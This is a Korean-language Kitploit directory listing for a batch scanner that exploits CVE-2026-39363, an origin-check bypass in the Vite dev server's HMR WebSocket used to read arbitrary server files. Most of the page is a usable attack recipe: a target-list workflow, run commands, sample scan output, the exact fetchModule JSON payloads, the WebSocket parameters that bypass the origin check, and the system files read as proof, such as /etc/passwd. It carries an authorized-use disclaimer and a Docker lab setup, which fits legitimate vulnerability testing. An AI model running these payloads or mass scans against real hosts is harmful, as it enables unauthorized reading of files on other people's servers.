Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-39363 — Batch 취약점 스캐너로, Vite 개발 서버의 CVE-2026-39363을 대상으로 하며, WebSocket 출처 검증 우회를 악용해 file:// 프로토콜의 fetchModule을 통해 임의 파일을 읽습니다. | Kitploit
도구/GitHubGitHub/f4s1on/cve-2026-39363
Vulnerability ScannersExploitationWeb Application ExploitationWeb SecurityPenetration Testing
GitHubf4s1on/cve-2026-39363

CVE-2026-39363

Batch 취약점 스캐너로, Vite 개발 서버의 CVE-2026-39363을 대상으로 하며, WebSocket 출처 검증 우회를 악용해 file:// 프로토콜의 fetchModule을 통해 임의 파일을 읽습니다.

저장소 보기
3개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-39363 — Vite Dev Server WebSocket 임의 파일 읽기 대량 탐지

면책 조항: 이 도구는 승인된 보안 테스트 및 교육 연구 목적으로만 사용됩니다. 사용자는 현지 법률 및 규정을 준수해야 하며, 승인 없이 타인 시스템을 스캔하거나 공격하는 것은 불법 행위입니다. 저자는 어떠한 오용 행위에 대해서도 책임을 지지 않습니다.

취약점 설명

Vite 개발 서버(6.0.0 ~ 6.4.1, 7.0.0 ~ 7.3.1, 8.0.0 ~ 8.0.4)의 HMR WebSocket이 Origin 헤더를 검증하지 않아, 공격자는 vite:invoke 이벤트를 통해 fetchModule을 호출하고 file:// 프로토콜과 ?raw 파라미터를 조합하여 server.fs.allow 제한을 우회하고 서버의 임의 파일을 읽을 수 있습니다.

탐지 흐름

root@kitploit:~
url.txt → http://host:port
  ↓ host + port 파싱
  ↓
┌─ Step 1: ws://host:지정 포트 시도
│  ├─ WebSocket 핸드셰이크 성공 + exploit 성공 → 취약점 존재
│  └─ 실패 → 지정 포트 == 5173인 경우 → 취약점 없음
│
└─ Step 3: host:5173 탐지 (지정 포트 ≠ 5173인 경우에만)
   ├─ 포트 닫힘 → 취약점 없음
   └─ 포트 열림 → 5173에서 WebSocket 핸드셰이크 + exploit
        ├─ 성공 → 취약점 존재
        └─ 실패 → 취약점 없음

사용 방법

의존성 설치

root@kitploit:~
pip install -r requirements.txt

프록시 활성화 및 비활성화

프록시를 활성화하려면 스크립트 26-27행의 주석을 해제하면 됩니다.

root@kitploit:~
# 프록시를 사용하려면 아래 두 줄의 주석을 해제하고 올바른 프록시 주소와 포트를 설정하세요.
# os.environ["HTTP_PROXY"] = "http://127.0.0.1:8083"
# os.environ["HTTPS_PROXY"] = "http://127.0.0.1:8083"

대상 준비

url.txt에 대상 URL을 한 줄에 하나씩 작성합니다:

root@kitploit:~
http://192.168.1.100:5173
http://example.com
http://target.cn:8080

실행

root@kitploit:~
python cve_2026_39363.py

출력

터미널:

root@kitploit:~
[*] Loaded 3 URL(s), scanning with 3 thread(s)...

http://192.168.1.100:5173 存在漏洞 (Linux)
http://example.com 存在漏洞 (Linux)
http://target.cn:8080 不存在漏洞

[*] Done. 2/3 vulnerable, elapsed 3.2s
[*] Results saved to result.txt

result.txt:

root@kitploit:~
http://192.168.1.100:5173 (Linux)
http://example.com:5173 (Linux)

각 줄에는 POC 유형(Linux / Windows)이 포함되어 있으며, 성공적으로 읽은 파일의 특징을 식별합니다.

POC 검증 파일

대상 시스템읽을 파일특징 마커
Linuxfile:///etc/passwd?rawroot:
Windowsfile:///C:/Windows/win.ini?rawfor 16-bit app support

Exploit Payload

두 가지 payload 형식을 지원합니다(순서대로 시도):

  1. Vulhub PoC 형식: {"id":"send:0","name":"fetchModule","data":[file_path]}
  2. 내부 RPC 형식: {"fn":"fetchModule","args":[file_path]}

WebSocket 핵심 파라미터

파라미터값이유
하위 프로토콜vite-hmrVite HMR WebSocket 요구 사항
Origin전송 억제 (suppress_origin=True)Vite는 Origin 헤더가 있는 비브라우저 연결을 거부함

Docker 취약점 환경 테스트

root@kitploit:~
# 시작
docker run -d --name vite-vuln -p 5173:5173 vulhub/vite:7.3.1

# 스캔
echo "http://127.0.0.1:5173" > url.txt
python cve_2026_39363.py

# 정리
docker stop vite-vuln && docker rm vite-vuln

자주 묻는 질문

Q: 모든 탐지가 "취약점 없음"을 반환합니까?

  • 대상 포트 5173이 열려 있는지 확인하세요.
  • Vite dev server가 --host 또는 server.host를 사용하여 네트워크에 노출되었는지 확인하세요.
  • server.ws: false로 WebSocket이 비활성화되지 않았는지 확인하세요.

Q: Windows에서 출력이 깨집니까?

  • 스크립트가 자동으로 처리하지만, 여전히 문제가 있다면 터미널이 UTF-8 인코딩인지 확인하세요.

Q: PowerShell에서 생성한 url.txt를 파싱할 수 없습니까?

  • 스크립트는 utf-8-sig를 사용하여 BOM을 자동으로 건너뜁니다.
도구 다운로드